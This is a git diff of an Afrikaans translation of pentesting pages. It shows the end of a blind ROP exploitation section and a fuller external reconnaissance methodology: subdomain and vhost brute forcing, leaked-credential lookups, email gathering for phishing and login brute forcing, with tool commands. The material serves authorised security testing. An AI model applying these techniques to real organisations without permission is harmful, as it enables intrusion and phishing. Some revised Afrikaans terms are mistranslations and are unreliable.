-Nadat `strcmp` gevind is, is dit moontlik om **`rdx`** op 'n waarde groter as 0 in te stel.
+Nadat `strcmp` gevind is, is dit moontlik om **`rdx`** op 'n waarde groter as 0 te stel.
{% hint style="success" %}
Let daarop dat gewoonlik `rdx` reeds 'n waarde groter as 0 sal huisves, so hierdie stap mag dalk nie nodig wees nie.
@@ -106,9 +106,9 @@ Let daarop dat gewoonlik `rdx` reeds 'n waarde groter as 0 sal huisves, so hierd
### 8. Vind Write of gelykwaardig
-Laastens, is 'n gadget nodig wat data uit te voer om die binêre uit te voer. En op hierdie oomblik is dit moontlik om **2 argumente te beheer en `rdx` groter as 0 in te stel.**
+Laastens, is 'n gadget nodig wat data eksterneer om die binêre te eksterneer. En op hierdie oomblik is dit moontlik om **2 argumente te beheer en `rdx` groter as 0 te stel.**
-Daar is 3 algemene funksies wat vir hierdie misbruik kan word:
+Daar is 3 algemene funksies wat vir hierdie doel misbruik kan word:
* `puts(data)`
* `dprintf(fd, data)`
@@ -116,7 +116,7 @@ Daar is 3 algemene funksies wat vir hierdie misbruik kan word:
Echter, die oorspronklike artikel noem slegs die **`write`** een, so kom ons praat daaroor:
-Die huidige probleem is dat ons nie weet **waar die write funksie binne die PLT is nie** en ons weet nie **'n fd nommer om die data na ons soket te stuur nie**.
+Die huidige probleem is dat ons nie weet **waar die write funksie in die PLT is nie** en ons weet nie **'n fd nommer om die data na ons soket te stuur nie**.
Echter, ons weet **waar die PLT tabel is** en dit is moontlik om write te vind gebaseer op sy **gedrag**. En ons kan **verskeie verbindings** met die bediener maak en 'n **hoë FD** gebruik in die hoop dat dit met sommige van ons verbindings ooreenstem.
diff --git a/generic-methodologies-and-resources/external-recon-methodology/README.md b/generic-methodologies-and-resources/external-recon-methodology/README.md
index 5aab49818..eae74e568 100644
--- a/generic-methodologies-and-resources/external-recon-methodology/README.md
+++ b/generic-methodologies-and-resources/external-recon-methodology/README.md
@@ -15,15 +15,15 @@ Leer & oefen GCP Hacking:
{% endhint %}
-
+
-As jy belangstel in 'n **hacking loopbaan** en om die onhackbare te hack - **ons huur aan!** (_vloeiend Pools geskryf en gesproke vereis_).
+As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons huur aan!** (_vloeiend Pools geskryf en gesproke vereis_).
{% embed url="https://www.stmcyber.com/careers" %}
## Bate ontdekkings
-> Jy is gesê dat alles wat aan 'n maatskappy behoort binne die omvang is, en jy wil uitvind wat hierdie maatskappy eintlik besit.
+> Jy is gesê dat alles wat aan 'n sekere maatskappy behoort binne die omvang is, en jy wil uitvind wat hierdie maatskappy eintlik besit.
Die doel van hierdie fase is om al die **maatskappye wat deur die hoofmaatskappy besit word** te verkry en dan al die **bates** van hierdie maatskappye. Om dit te doen, gaan ons:
@@ -42,7 +42,7 @@ Een opsie is om [https://www.crunchbase.com/](https://www.crunchbase.com) te bes
### **ASNs**
-'n autonome stelselnommer (**ASN**) is 'n **unieke nommer** wat aan 'n **autonome stelsel** (AS) deur die **Internet Assigned Numbers Authority (IANA)** toegeken word.\
+'n Outonome stelselnommer (**ASN**) is 'n **unieke nommer** wat aan 'n **outonome stelsel** (AS) deur die **Internet Assigned Numbers Authority (IANA)** toegeken word.\
'n **AS** bestaan uit **blokke** van **IP adresse** wat 'n duidelik gedefinieerde beleid het vir toegang tot eksterne netwerke en word deur 'n enkele organisasie bestuur, maar kan uit verskeie operateurs bestaan.
Dit is interessant om te vind of die **maatskappy enige ASN toegeken het** om sy **IP-reekse** te vind. Dit sal interessant wees om 'n **kwesbaarheidstoets** teen al die **gasheer** binne die **omvang** uit te voer en **te soek na domeine** binne hierdie IPs.\
@@ -53,7 +53,7 @@ Jy kan **soek** volgens maatskappy **naam**, volgens **IP** of volgens **domein*
amass intel -org tesla
amass intel -asn 8911,50313,394161
```
-Ook, [**BBOT**](https://github.com/blacklanternsecurity/bbot)**'s** subdomein-opsomming aggregeer en som automatisch ASN's aan die einde van die skandering op.
+Ook, [**BBOT**](https://github.com/blacklanternsecurity/bbot)**'s** subdomein-opsomming aggregeer en som outomaties ASN's aan die einde van die skandering op.
```bash
bbot -t tesla.com -f subdomain-enum
...
@@ -76,7 +76,7 @@ You can find the IP and ASN of a domain using [http://ipv4info.com/](http://ipv4
### **Soek na kwesbaarhede**
Op hierdie punt weet ons **alle bates binne die omvang**, so as jy toegelaat word, kan jy 'n paar **kwesbaarheid skandeerders** (Nessus, OpenVAS) oor al die gasheer loods.\
-Ook kan jy 'n paar [**poort skanderings**](../pentesting-network/#discovering-hosts-from-the-outside) **of dienste soos** shodan **gebruik om** oop poorte **te vind en afhangende van wat jy vind, moet jy** in hierdie boek kyk hoe om verskeie moontlike dienste wat loop, te pentest.\
+Ook, jy kan 'n paar [**poort skanderings**](../pentesting-network/#discovering-hosts-from-the-outside) **of gebruik dienste soos** shodan **om** oop poorte **te vind en afhangende van wat jy vind, moet jy** in hierdie boek kyk hoe om verskeie moontlike dienste wat loop te pentest.\
**Ook, dit kan die moeite werd wees om te noem dat jy ook 'n paar** standaard gebruikersnaam **en** wagwoorde **lysies kan voorberei en probeer om** dienste te bruteforce met [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
## Domeine
@@ -96,13 +96,13 @@ dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns
dnsrecon -r 157.240.221.35/24 -n 1.1.1.1 #Using cloudflares dns
dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
```
-For this to work, the administrator has to enable manually the PTR.\
-You can also use a online tool for this info: [http://ptrarchive.com/](http://ptrarchive.com)
+Vir dit om te werk, moet die administrateur handmatig die PTR inskakel.\
+Jy kan ook 'n aanlyn hulpmiddel vir hierdie inligting gebruik: [http://ptrarchive.com/](http://ptrarchive.com)
-### **Reverse Whois (loop)**
+### **Reverse Whois (lus)**
-Inside a **whois** you can find a lot of interesting **information** like **organisasie naam**, **adres**, **e-pos**, telefoon nommers... Maar wat nog meer interessant is, is dat jy **meer bates wat met die maatskappy verband hou** kan vind as jy **omgekeerde whois soektogte deur enige van daardie velde** uitvoer (byvoorbeeld ander whois registrasies waar dieselfde e-pos verskyn).\
-You can use online tools like:
+Binne 'n **whois** kan jy baie interessante **inligting** vind soos **organisasie naam**, **adres**, **e-posse**, telefoonnommers... Maar wat selfs meer interessant is, is dat jy **meer bates wat met die maatskappy verband hou** kan vind as jy **reverse whois soektogte deur enige van daardie velde** uitvoer (byvoorbeeld ander whois registrasies waar dieselfde e-pos verskyn).\
+Jy kan aanlyn hulpmiddels soos gebruik:
* [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Gratis**
* [https://domaineye.com/reverse-whois](https://domaineye.com/reverse-whois) - **Gratis**
@@ -112,17 +112,17 @@ You can use online tools like:
* [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - Nie Gratis (slegs **100 gratis** soektogte)
* [https://www.domainiq.com/](https://www.domainiq.com) - Nie Gratis
-You can automate this task using [**DomLink** ](https://github.com/vysecurity/DomLink)(requires a whoxy API key).\
-You can also perform some automatic reverse whois discovery with [amass](https://github.com/OWASP/Amass): `amass intel -d tesla.com -whois`
+Jy kan hierdie taak outomatiseer met [**DomLink** ](https://github.com/vysecurity/DomLink)(vereis 'n whoxy API-sleutel).\
+Jy kan ook 'n paar outomatiese reverse whois ontdekking uitvoer met [amass](https://github.com/OWASP/Amass): `amass intel -d tesla.com -whois`
-**Note that you can use this technique to discover more domain names every time you find a new domain.**
+**Let daarop dat jy hierdie tegniek kan gebruik om meer domeinnames te ontdek elke keer as jy 'n nuwe domein vind.**
### **Trackers**
-If find the **same ID of the same tracker** in 2 different pages you can suppose that **both pages** are **managed by the same team**.\
-For example, if you see the same **Google Analytics ID** or the same **Adsense ID** on several pages.
+As jy die **dieselfde ID van die dieselfde tracker** op 2 verskillende bladsye vind, kan jy veronderstel dat **albei bladsye** **deur dieselfde span bestuur word**.\
+Byvoorbeeld, as jy dieselfde **Google Analytics ID** of dieselfde **Adsense ID** op verskeie bladsye sien.
-There are some pages and tools that let you search by these trackers and more:
+Daar is 'n paar bladsye en hulpmiddels wat jou toelaat om deur hierdie trackers en meer te soek:
* [**Udon**](https://github.com/dhn/udon)
* [**BuiltWith**](https://builtwith.com)
@@ -132,7 +132,7 @@ There are some pages and tools that let you search by these trackers and more:
### **Favicon**
-Did you know that we can find related domains and sub domains to our target by looking for the same favicon icon hash? This is exactly what [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) tool made by [@m4ll0k2](https://twitter.com/m4ll0k2) does. Here’s how to use it:
+Het jy geweet dat ons verwante domeine en subdomeine aan ons teiken kan vind deur na dieselfde favicon ikoon hash te soek? Dit is presies wat die [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) hulpmiddel gemaak deur [@m4ll0k2](https://twitter.com/m4ll0k2) doen. Hier is hoe om dit te gebruik:
```bash
cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt
python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
@@ -346,7 +346,7 @@ Jy kan 'n **vergelyking** van baie van hierdie gereedskap hier vind: [https://bl
### **DNS Brute force**
-Kom ons probeer om nuwe **subdomeine** te vind deur DNS-bedieners te brute-force met moontlike subdomeinname.
+Kom ons probeer om nuwe **subdomeine** te vind deur DNS-bedieners te brute-forseer met moontlike subdomeinname.
Vir hierdie aksie sal jy 'n paar **gewone subdomein woordlyste soos** nodig hê:
@@ -356,7 +356,7 @@ Vir hierdie aksie sal jy 'n paar **gewone subdomein woordlyste soos** nodig hê:
* [https://github.com/pentester-io/commonspeak](https://github.com/pentester-io/commonspeak)
* [https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS](https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS)
-En ook IP's van goeie DNS-resolvers. Om 'n lys van vertroude DNS-resolvers te genereer, kan jy die resolvers aflaai van [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) en [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) gebruik om hulle te filter. Of jy kan gebruik maak van: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt)
+En ook IP's van goeie DNS-resolvers. Om 'n lys van vertroude DNS-resolvers te genereer, kan jy die resolvers van [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) aflaai en [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) gebruik om hulle te filter. Of jy kan gebruik maak van: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt)
Die mees aanbevole gereedskap vir DNS brute-force is:
@@ -390,12 +390,12 @@ Nadat jy subdomeine gevind het met behulp van oop bronne en brute-forcing, kan j
```bash
cat subdomains.txt | dnsgen -
```
-* [**goaltdns**](https://github.com/subfinder/goaltdns): Gegewe die domeine en subdomeine genereer permutasies.
-* Jy kan goaltdns permutasies **woordlys** in [**hier**](https://github.com/subfinder/goaltdns/blob/master/words.txt) kry.
+* [**goaltdns**](https://github.com/subfinder/goaltdns): Gegee die domeine en subdomeine genereer permutasies.
+* Jy kan goaltdns permutasies **woordlys** kry [**hier**](https://github.com/subfinder/goaltdns/blob/master/words.txt).
```bash
goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt
```
-* [**gotator**](https://github.com/Josue87/gotator)**:** Gegewe die domeine en subdomeine genereer permutasies. As geen permutasie-lêer aangedui is nie, sal gotator sy eie gebruik.
+* [**gotator**](https://github.com/Josue87/gotator)**:** Gegewe die domeine en subdomeine genereer permutasies. As geen permutasie-lêer aangedui is nie, sal gotator sy eie een gebruik.
```
gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
```
@@ -410,7 +410,7 @@ altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \
--dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt
```
-* [**alterx**](https://github.com/projectdiscovery/alterx)**:** Gebaseer op 'n domein, **genereer dit nuwe potensiële subdomeinnames** gebaseer op aangeduidde patrone om te probeer om meer subdomeine te ontdek.
+* [**alterx**](https://github.com/projectdiscovery/alterx)**:** Gebaseer op 'n domein, **genereer dit nuwe potensiële subdomeinnaam** gebaseer op aangeduide patrone om te probeer om meer subdomeine te ontdek.
#### Slim permutasiegenerasie
@@ -426,7 +426,7 @@ echo www | subzuf facebook.com
```
### **Subdomein Ontdekking Werkvloei**
-Kyk na hierdie blogpos wat ek geskryf het oor hoe om **subdomein ontdekking** van 'n domein te **automateer** met behulp van **Trickest werkvloei** sodat ek nie 'n klomp gereedskap handmatig op my rekenaar hoef te begin nie:
+Kyk na hierdie blogpos wat ek geskryf het oor hoe om **subdomein ontdekking te outomatiseer** vanaf 'n domein met behulp van **Trickest werkvloei** sodat ek nie 'n klomp gereedskap handmatig op my rekenaar hoef te begin nie:
{% embed url="https://trickest.com/blog/full-subdomain-discovery-using-workflow/" %}
@@ -434,7 +434,7 @@ Kyk na hierdie blogpos wat ek geskryf het oor hoe om **subdomein ontdekking** va
### **VHosts / Virtuele Gashere**
-As jy 'n IP-adres gevind het wat **een of verskeie webbladsye** bevat wat aan subdomeine behoort, kan jy probeer om **ander subdomeine met webbladsye in daardie IP** te **vind** deur in **OSINT bronne** te kyk vir domeine in 'n IP of deur **brute-force VHost domeinnaam in daardie IP**.
+As jy 'n IP-adres gevind het wat **een of verskeie webbladsye** bevat wat aan subdomeine behoort, kan jy probeer om **ander subdomeine met webbladsye in daardie IP te vind** deur in **OSINT bronne** te kyk vir domeine in 'n IP of deur **VHost domeinnaam in daardie IP te brute-force**.
#### OSINT
@@ -442,7 +442,7 @@ Jy kan 'n paar **VHosts in IPs vind met behulp van** [**HostHunter**](https://gi
**Brute Force**
-As jy vermoed dat 'n subdomein in 'n webbediener versteek kan wees, kan jy probeer om dit te brute force:
+As jy vermoed dat 'n subdomein in 'n webbediener versteek kan wees, kan jy probeer om dit te brute-force:
```bash
ffuf -c -w /path/to/wordlist -u http://victim.com -H "Host: FUZZ.victim.com"
@@ -457,7 +457,7 @@ vhostbrute.py --url="example.com" --remoteip="10.1.1.15" --base="www.example.com
VHostScan -t example.com
```
{% hint style="info" %}
-Met hierdie tegniek mag jy selfs toegang hê tot interne/verborgene eindpunte.
+Met hierdie tegniek kan jy selfs toegang verkry tot interne/verborgene eindpunte.
{% endhint %}
### **CORS Brute Force**
@@ -473,26 +473,26 @@ Ook, aangesien jy op hierdie punt al die domeine binne die omvang sal weet, prob
### **Monitorisering**
-Jy kan **moniteer** of **nuwe subdomeine** van 'n domein geskep word deur die **Sertifikaat Deursigtigheid** Logs [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py) te monitor.
+Jy kan **moniteer** of **nuwe subdomeine** van 'n domein geskep word deur die **Certificate Transparency** Logs [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py) te monitor.
### **Soek na kwesbaarhede**
Kontroleer vir moontlike [**subdomein oorneem**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\
As die **subdomein** na 'n **S3 emmer** **wys**, [**kontroleer die toestemmings**](../../network-services-pentesting/pentesting-web/buckets/).
-As jy enige **subdomein met 'n IP verskil** van diegene wat jy reeds in die bates ontdek het, vind, moet jy 'n **basiese kwesbaarheid skandering** (met Nessus of OpenVAS) en 'n paar [**poort skandering**](../pentesting-network/#discovering-hosts-from-the-outside) met **nmap/masscan/shodan** uitvoer. Afhangende van watter dienste aan die gang is, kan jy in **hierdie boek 'n paar truuks vind om hulle "aan te val"**.\
+As jy enige **subdomein met 'n IP verskil** van diegene wat jy reeds in die bates ontdekking gevind het, moet jy 'n **basiese kwesbaarheid skandering** (met Nessus of OpenVAS) en 'n [**poort skandering**](../pentesting-network/#discovering-hosts-from-the-outside) met **nmap/masscan/shodan** uitvoer. Afhangende van watter dienste aan die gang is, kan jy in **hierdie boek 'n paar truuks vind om hulle "aan te val"**.\
_Nota dat soms die subdomein gehos is binne 'n IP wat nie deur die kliënt beheer word nie, so dit is nie in die omvang nie, wees versigtig._
## IPs
-In die aanvanklike stappe het jy dalk **sommige IP-reekse, domeine en subdomeine** **gevind**.\
+In die aanvanklike stappe mag jy **sommige IP-reekse, domeine en subdomeine** **gevind het**.\
Dit is tyd om **al die IPs van daardie reekse te versamel** en vir die **domeine/subdomeine (DNS vrae).**
-Deur dienste van die volgende **gratis apis** te gebruik, kan jy ook **vorige IPs wat deur domeine en subdomeine gebruik is, vind**. Hierdie IPs mag steeds deur die kliënt besit word (en mag jou toelaat om [**CloudFlare omseilings**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md) te vind)
+Deur dienste van die volgende **gratis apis** te gebruik, kan jy ook **vorige IPs wat deur domeine en subdomeine gebruik is** vind. Hierdie IPs mag steeds deur die kliënt besit word (en mag jou toelaat om [**CloudFlare omseilings**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md) te vind)
* [**https://securitytrails.com/**](https://securitytrails.com/)
-Jy kan ook kyk vir domeine wat na 'n spesifieke IP-adres wys met die hulpmiddel [**hakip2host**](https://github.com/hakluke/hakip2host)
+Jy kan ook domeine wat na 'n spesifieke IP-adres wys, kontroleer met die hulpmiddel [**hakip2host**](https://github.com/hakluke/hakip2host)
### **Soek na kwesbaarhede**
@@ -506,25 +506,25 @@ Jy kan ook kyk vir domeine wat na 'n spesifieke IP-adres wys met die hulpmiddel
In die vorige stappe het jy waarskynlik al 'n paar **recon van die IPs en domeine ontdek** uitgevoer, so jy mag **al die moontlike web bedieners** **gevind het**. As jy egter nie, gaan ons nou 'n paar **vinnige truuks kyk om web bedieners** binne die omvang te soek.
-Let asseblief daarop dat dit **georiënteer sal wees op web apps ontdekking**, so jy moet ook **die kwesbaarheid** en **poort skandering** uitvoer (**indien toegelaat** deur die omvang).
+Neem asseblief kennis dat dit **georiënteer sal wees op web apps ontdekking**, so jy moet ook **die kwesbaarheid** en **poort skandering** uitvoer (**indien toegelaat** deur die omvang).
-'n **Vinnige metode** om **oop poorte** wat verband hou met **web** bedieners te ontdek, kan [**masscan** hier gevind word](../pentesting-network/#http-port-discovery).\
-Nog 'n vriendelike hulpmiddel om na web bedieners te soek is [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) en [**httpx**](https://github.com/projectdiscovery/httpx). Jy gee net 'n lys van domeine en dit sal probeer om met poort 80 (http) en 443 (https) te verbind. Daarbenewens kan jy aandui om ander poorte te probeer:
+'n **Vinnige metode** om **oop poorte** wat verband hou met **web** bedieners te ontdek, kan met [**masscan** hier gevind word](../pentesting-network/#http-port-discovery).\
+Nog 'n vriendelike hulpmiddel om na web bedieners te soek, is [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) en [**httpx**](https://github.com/projectdiscovery/httpx). Jy moet net 'n lys van domeine deurgee en dit sal probeer om met poort 80 (http) en 443 (https) te verbind. Daarbenewens kan jy aandui om ander poorte te probeer:
```bash
cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443
cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443
```
### **Skermskootte**
-Nou dat jy **alle webbedieners** in die omvang ontdek het (tussen die **IP's** van die maatskappy en al die **domeine** en **subdomeine**) weet jy waarskynlik **nie waar om te begin nie**. Laat ons dit eenvoudig maak en net skermskootte van al hulle neem. Net deur **na die hoofblad** te **kyk** kan jy **vreemde** eindpunte vind wat meer **geneig** is om **kwulnerabel** te wees.
+Nou dat jy **alle webbedieners** in die omvang ontdek het (tussen die **IP's** van die maatskappy en al die **domeine** en **subdomeine**) weet jy waarskynlik **nie waar om te begin nie**. Laat ons dit eenvoudig maak en net skermskootte van al hulle neem. Net deur **na die hoofblad** te **kyk**, kan jy **vreemde** eindpunte vind wat meer **geneig** is om **kwulnerabel** te wees.
Om die voorgestelde idee uit te voer, kan jy [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) of [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.**
-Boonop kan jy dan [**eyeballer**](https://github.com/BishopFox/eyeballer) gebruik om oor al die **skermskootte** te loop om jou te vertel **wat waarskynlik kwesbaarhede bevat**, en wat nie.
+Boonop kan jy dan [**eyeballer**](https://github.com/BishopFox/eyeballer) gebruik om oor al die **skermskootte** te loop om jou te vertel **wat waarskynlik kwulnerabiliteite bevat**, en wat nie.
## Publieke Wolk Bate
-Om potensiële wolk bate wat aan 'n maatskappy behoort te vind, moet jy **begin met 'n lys van sleutelwoorde wat daardie maatskappy identifiseer**. Byvoorbeeld, vir 'n kripto maatskappy kan jy woorde soos: `"crypto", "wallet", "dao", "", <"subdomain_names">` gebruik.
+Om potensiële wolk bates wat aan 'n maatskappy behoort te vind, moet jy **begin met 'n lys van sleutelwoorde wat daardie maatskappy identifiseer**. Byvoorbeeld, vir 'n crypto maatskappy kan jy woorde soos: `"crypto", "wallet", "dao", "", <"subdomein_namme">` gebruik.
Jy sal ook woordlyste van **gewone woorde wat in emmers gebruik word** benodig:
@@ -536,46 +536,46 @@ Dan, met daardie woorde moet jy **permutasies** genereer (kyk na die [**Tweede R
Met die resulterende woordlyste kan jy gereedskap soos [**cloud\_enum**](https://github.com/initstring/cloud\_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **of** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**.**
-Onthou dat wanneer jy na Wolk Bate soek, jy moet **kyk na meer as net emmers in AWS**.
+Onthou dat wanneer jy na Wolk Bates soek, jy moet **kyk na meer as net emmers in AWS**.
-### **Soek na kwesbaarhede**
+### **Soek na kwulnerabiliteite**
As jy dinge soos **oop emmers of blootgestelde wolk funksies** vind, moet jy **hulle toegang** en probeer om te sien wat hulle jou bied en of jy hulle kan misbruik.
## E-posse
-Met die **domeine** en **subdomeine** binne die omvang het jy basies alles wat jy **nodig het om na e-posse te soek**. Dit is die **API's** en **gereedskap** wat die beste vir my gewerk het om e-posse van 'n maatskappy te vind:
+Met die **domeine** en **subdomeine** binne die omvang het jy basies alles wat jy **nodig het om te begin soek na e-posse**. Dit is die **API's** en **gereedskap** wat die beste vir my gewerk het om e-posse van 'n maatskappy te vind:
* [**theHarvester**](https://github.com/laramies/theHarvester) - met API's
* API van [**https://hunter.io/**](https://hunter.io/) (gratis weergawe)
* API van [**https://app.snov.io/**](https://app.snov.io/) (gratis weergawe)
* API van [**https://minelead.io/**](https://minelead.io/) (gratis weergawe)
-### **Soek na kwesbaarhede**
+### **Soek na kwulnerabiliteite**
E-posse sal later handig wees om **brute-force web aanmeldings en outentikasiedienste** (soos SSH) te doen. Ook, hulle is nodig vir **phishings**. Boonop sal hierdie API's jou selfs meer **inligting oor die persoon** agter die e-pos gee, wat nuttig is vir die phishing veldtog.
-## Kredensiaal Lekke
+## Kredensiaal Leke
Met die **domeine,** **subdomeine**, en **e-posse** kan jy begin soek na kredensiale wat in die verlede gelek het wat aan daardie e-posse behoort:
* [https://leak-lookup.com](https://leak-lookup.com/account/login)
* [https://www.dehashed.com/](https://www.dehashed.com/)
-### **Soek na kwesbaarhede**
+### **Soek na kwulnerabiliteite**
As jy **geldige gelekte** kredensiale vind, is dit 'n baie maklike oorwinning.
-## Geheime Lekke
+## Geheime Leke
-Kredensiaal lekke is verwant aan hacks van maatskappye waar **sensitiewe inligting gelek en verkoop is**. egter, maatskappye mag geraak word deur **ander lekke** waarvan die inligting nie in daardie databasisse is nie:
+Kredensiaal leke is verwant aan hacks van maatskappye waar **sensitiewe inligting gelek en verkoop is**. egter, maatskappye mag geraak word deur **ander leke** waarvan die inligting nie in daardie databasisse is nie:
-### Github Lekke
+### Github Leke
Kredensiale en API's mag in die **openbare repositories** van die **maatskappy** of van die **gebruikers** wat vir daardie github maatskappy werk, gelek word.\
Jy kan die **gereedskap** [**Leakos**](https://github.com/carlospolop/Leakos) gebruik om **alle openbare repos** van 'n **organisasie** en sy **ontwikkelaars** af te laai en [**gitleaks**](https://github.com/zricethezav/gitleaks) daaroor outomaties te laat loop.
-**Leakos** kan ook gebruik word om **gitleaks** teen alle **teks** te laat loop wat **URL's aan dit gegee** is, aangesien **webbladsye ook geheime kan bevat**.
+**Leakos** kan ook gebruik word om **gitleaks** teen alle **tekst** verskafde **URL's** wat aan dit gegee word te laat loop, aangesien **webbladsye ook geheime kan bevat**.
#### Github Dorks
@@ -585,7 +585,7 @@ Kyk ook na hierdie **bladsy** vir potensiële **github dorks** wat jy ook in die
[github-leaked-secrets.md](github-leaked-secrets.md)
{% endcontent-ref %}
-### Paste Lekke
+### Paste Leke
Soms sal aanvallers of net werkers **maatskappy-inhoud op 'n paste site publiseer**. Dit mag of mag nie **sensitiewe inligting** bevat nie, maar dit is baie interessant om daarna te soek.\
Jy kan die gereedskap [**Pastos**](https://github.com/carlospolop/Pastos) gebruik om in meer as 80 paste sites terselfdertyd te soek.
@@ -594,15 +594,15 @@ Jy kan die gereedskap [**Pastos**](https://github.com/carlospolop/Pastos) gebrui
Ou maar goud google dorks is altyd nuttig om **blootgestelde inligting wat daar nie behoort te wees nie** te vind. Die enigste probleem is dat die [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) verskeie **duisende** moontlike navrae bevat wat jy nie handmatig kan uitvoer nie. So, jy kan jou gunsteling 10 kies of jy kan 'n **gereedskap soos** [**Gorks**](https://github.com/carlospolop/Gorks) **gebruik om hulle almal uit te voer**.
-_Nota dat die gereedskap wat verwag om die hele databasis met die gewone Google-blaaier te laat loop, nooit sal eindig nie, aangesien google jou baie gou sal blokkeer._
+_Noteer dat die gereedskap wat verwag om die hele databasis met die gewone Google-blaaier te laat loop, nooit sal eindig nie, aangesien google jou baie gou sal blokkeer._
-### **Soek na kwesbaarhede**
+### **Soek na kwulnerabiliteite**
As jy **geldige gelekte** kredensiale of API tokens vind, is dit 'n baie maklike oorwinning.
-## Publieke Kode Kwesbaarhede
+## Publieke Kode Kwulnerabiliteite
-As jy gevind het dat die maatskappy **oopbron kode** het, kan jy dit **analiseer** en soek na **kwesbaarhede** daarin.
+As jy gevind het dat die maatskappy **open-source kode** het, kan jy dit **analiseer** en soek na **kwulnerabiliteite** daarin.
**Afhangende van die taal** is daar verskillende **gereedskap** wat jy kan gebruik:
@@ -616,24 +616,24 @@ Daar is ook gratis dienste wat jou toelaat om **openbare repositories** te **ska
## [**Pentesting Web Metodologie**](../../network-services-pentesting/pentesting-web/)
-Die **meerderheid van die kwesbaarhede** wat deur foutjagters gevind word, is binne **webtoepassings**, so op hierdie punt wil ek graag oor 'n **webtoepassing toets metodologie** praat, en jy kan [**hierdie inligting hier vind**](../../network-services-pentesting/pentesting-web/).
+Die **meerderheid van die kwulnerabiliteite** wat deur foutjagters gevind word, is binne **webtoepassings**, so op hierdie punt wil ek graag oor 'n **webtoepassing toetsing metodologie** praat, en jy kan [**hierdie inligting hier vind**](../../network-services-pentesting/pentesting-web/).
-Ek wil ook 'n spesiale vermelding maak van die afdeling [**Web Geoutomatiseerde Skandeerders open source gereedskap**](../../network-services-pentesting/pentesting-web/#automatic-scanners), aangesien, as jy nie moet verwag dat hulle baie sensitiewe kwesbaarhede sal vind nie, hulle handig is om dit in **werkvloei te implementeer om 'n paar aanvanklike webinligting te hê.**
+Ek wil ook 'n spesiale vermelding maak van die afdeling [**Web Geoutomatiseerde Skandeerders open source gereedskap**](../../network-services-pentesting/pentesting-web/#automatic-scanners), aangesien, as jy nie moet verwag dat hulle baie sensitiewe kwulnerabiliteite sal vind nie, hulle handig is om dit in **werkvloei te implementeer om 'n paar aanvanklike webinligting te hê.**
## Herhaling
-> Geluk! Op hierdie punt het jy reeds **alle basiese enumerasie** uitgevoer. Ja, dit is basies omdat baie meer enumerasie gedoen kan word (sal later meer truuks sien).
+> Geluk! Op hierdie punt het jy reeds **alle basiese enumerasie** uitgevoer. Ja, dit is basies omdat daar baie meer enumerasie gedoen kan word (sal later meer truuks sien).
So jy het reeds:
-1. Alle **maatskappye** in die omvang gevind
-2. Alle **bates** wat aan die maatskappye behoort gevind (en 'n paar kwesbaarheid skandeer as dit in omvang is)
+1. Alle **maatskappye** binne die omvang gevind
+2. Alle **bates** wat aan die maatskappye behoort gevind (en 'n paar vuln skandeer as dit in omvang is)
3. Alle **domeine** wat aan die maatskappye behoort gevind
4. Alle **subdomeine** van die domeine gevind (enige subdomein oorneem?)
-5. Alle **IP's** (van en **nie van CDN's**) in die omvang gevind.
+5. Alle **IP's** (van en **nie van CDNs**) binne die omvang gevind.
6. Alle **webbedieners** gevind en 'n **skermskoot** daarvan geneem (iets vreemd wat 'n dieper kyk werd is?)
7. Alle **potensiële publieke wolk bates** wat aan die maatskappy behoort gevind.
-8. **E-posse**, **kredensiaal lekke**, en **geheime lekke** wat jou 'n **groot oorwinning baie maklik** kan gee.
+8. **E-posse**, **kredensiaal leke**, en **geheime leke** wat jou 'n **groot oorwinning baie maklik kan gee**.
9. **Pentesting al die webwerwe wat jy gevind het**
## **Volledige Recon Outomatiese Gereedskap**
